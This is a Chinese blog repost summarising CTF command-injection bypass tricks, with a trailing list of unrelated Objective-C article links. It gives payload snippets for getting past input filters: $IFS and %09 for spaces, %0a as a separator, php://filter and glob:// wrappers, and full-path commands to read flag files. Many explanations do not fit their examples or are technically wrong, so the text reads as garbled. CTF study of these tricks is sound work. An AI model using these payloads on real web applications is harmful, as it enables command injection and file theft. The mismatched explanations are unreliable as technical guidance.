博客
关于我
CTF-RCE-总结(只记录解题方法,不记录具体原理)
阅读量:363 次
发布时间:2019-03-04

本文共 1757 字,大约阅读时间需要 5 分钟。

命令执行绕过技巧

1. 过滤关键词

1.1 使用转义符

通过在关键词前后使用转义符,例如 \,可以绕过过滤器。

cat \`flag\`

1.2 内联执行

通过将变量拼接在一起,实现内联命令执行。

a=flag;b=php;cat $IFS$a$b

1.3 变量绕过

利用变量来隐藏关键词。

a=flag;b=php;echo $a$'_'$b

1.4 编码绕过

使用编码技术,例如Base64,将关键词隐藏在可读性较低的编码中。

echo 'cat' | base64

1.5 字符串长度绕过

通过构造特殊字符,例如空格或换行符,来读取隐藏的文件内容。

cat /flag 2>/dev/null

2. 过滤空格

2.1 使用特殊字符

通过使用特殊字符,例如 %09$IFS,来替代空格。

cat %09flag.php

2.2 使用多种方法

结合多种方法,例如使用 catgrep,来过滤空格。

cat /flag | grep flag

3. 过滤目录分隔符

通过使用命令管道,例如 cat *,来绕过目录分隔符的过滤。

;cd flag_is_here;cat *

4. 过滤分隔符 | ; &

通过使用特殊字符,例如 %0a;,来替代分隔符。

cat flag.php%0als

5. 字符串长度受限

通过构造多个字符串,例如使用 \ 来表示换行符,来绕过长度限制。

echo "flag{hahaha}" > flag.txt

6. 无回显命令执行

通过使用 system() 函数或命令管道,例如 sh,来执行命令并无回显。

curl http://target/flag.php > flag.txt

7. PHP 远程包含

通过使用 php://input,结合 Base64 解码,来读取远程文件内容。

php://filter/convert.base64-encode/resource=flag.php

8. PHP 远程命令执行

通过构造特定的 PHP 代码,结合 system() 函数,来执行远程命令。

9. 使用目录调用命令

通过使用完整路径,例如 /bin/cat,来绕过文件包含限制。

/bin/cat flag.php

10. 使用 grep 绕过过滤

通过使用 grep 和通配符,来绕过关键词过滤。

grep flag.php f*.php

11. 构造特殊字符

通过数学运算和字符串操作,构造特殊字符来绕过过滤。

$(())=0$((~$(())))=-1

12. 利用 PHP 远程包含

通过构造特定的 PHP 代码,结合 data:// 协议,来读取远程文件内容。

data:text/plain;base64

13. 使用 glob:// 绕过目录限制

通过使用 glob:// 协议,来绕过目录过滤。

glob:///*/*.php

14. 利用 PHP 内置函数

通过使用 FilesystemIteratorReflectionClass 等内置类,来实现远程命令执行。

v1=FilesystemIterator;v2=getcwd

15. 利用 PHP 异常处理

通过构造特定的异常,结合 ReflectionClass,来实现远程命令执行。

new Exception

16. 利用 PHP 远程连接

通过构造特定的 PHP 代码,结合 socket_connect 函数,来实现远程连接。

17. 绕过 WAF 过滤

通过构造特殊请求,例如使用正则表达式,来绕过 WAF 过滤。

preg_match_all("/\/\//", $ip, $m)

18. 利用 PHP 远程文件包含

通过构造特定的 PHP 代码,结合 readfile() 函数,来读取远程文件内容。

19. 使用 tar 压缩文件

通过使用 tar 命令,将文件压缩后下载。

tar cvf flag.tar flag.php

20. 使用 bzip2 压缩文件

通过使用 bzip2 命令,将文件压缩后下载。

bzip2 flag.php

通过以上方法,可以有效绕过各种防护措施,实现远程命令执行和文件包含,提升攻击面的多样性和效果。

转载地址:http://umug.baihongyu.com/

你可能感兴趣的文章
Objective-C实现最小路径和算法(附完整源码)
查看>>
Objective-C实现最快的归并排序算法(附完整源码)
查看>>
Objective-C实现最短路径Dijsktra算法(附完整源码)
查看>>
Objective-C实现最短路径Dijsktra算法(附完整源码)
查看>>
Objective-C实现最短路径广度优先搜索算法(附完整源码)
查看>>
Objective-C实现最近点对问题(附完整源码)
查看>>
Objective-C实现最长公共子序列算法(附完整源码)
查看>>
Objective-C实现最长回文子串算法(附完整源码)
查看>>
Objective-C实现最长回文子序列算法(附完整源码)
查看>>
Objective-C实现最长子数组算法(附完整源码)
查看>>
Objective-C实现最长字符串链(附完整源码)
查看>>
Objective-C实现最长递增子序列算法(附完整源码)
查看>>
Objective-C实现有向图和无向加权图算法(附完整源码)
查看>>
Objective-C实现有序表查找算法(附完整源码)
查看>>
Objective-C实现有限状态机(附完整源码)
查看>>
Objective-C实现有限状态自动机FSM(附完整源码)
查看>>
Objective-C实现有限集上给定关系的自反关系矩阵和对称闭包关系矩阵(附完整源码)
查看>>
Objective-C实现服务程序自启动(附完整源码)
查看>>
Objective-C实现服务端客户端聊天室(附完整源码)
查看>>
Objective-C实现朴素贝叶斯算法(附完整源码)
查看>>